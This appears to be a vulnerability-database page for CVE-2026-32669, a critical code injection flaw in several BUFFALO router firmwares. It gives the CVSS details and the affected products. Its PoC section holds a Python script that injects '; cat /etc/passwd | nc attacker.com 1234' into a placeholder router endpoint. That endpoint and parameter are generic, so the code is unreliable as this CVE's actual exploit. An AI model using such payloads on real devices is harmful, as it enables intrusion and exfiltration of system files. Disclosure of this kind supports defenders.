Security Vulnerability Report
中文
CVE-2026-32669 CVSS 9.8 CRITICAL

CVE-2026-32669

Published: 2026-03-27 06:16:38
Last Modified: 2026-03-31 19:03:55

Description

Code injection vulnerability exists in BUFFALO Wi-Fi router products. If this vulnerability is exploited, an arbitrary code may be executed on the products.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:buffalo:wcr-1166dhpl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wcr-1166dhpl:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4-kh_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4-kh:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp2:-:*:*:*:*:*:*:* - NOT VULNERABLE
BUFFALO Wi-Fi router系列产品 (具体受影响型号请参考厂商安全公告 JVN83788689)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target host (example) target_url = "http://192.168.11.1/cgi-bin/command_endpoint" # Malicious payload to inject commands (e.g., ping back or reverse shell) # This payload simulates a generic code injection attempt payload = "; cat /etc/passwd | nc attacker.com 1234" # Data structure based on typical router HTTP requests data = { "setting": "value", "action": "save", "vulnerable_param": payload } try: print("[*] Sending exploit payload to target...") response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check your listener for output.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
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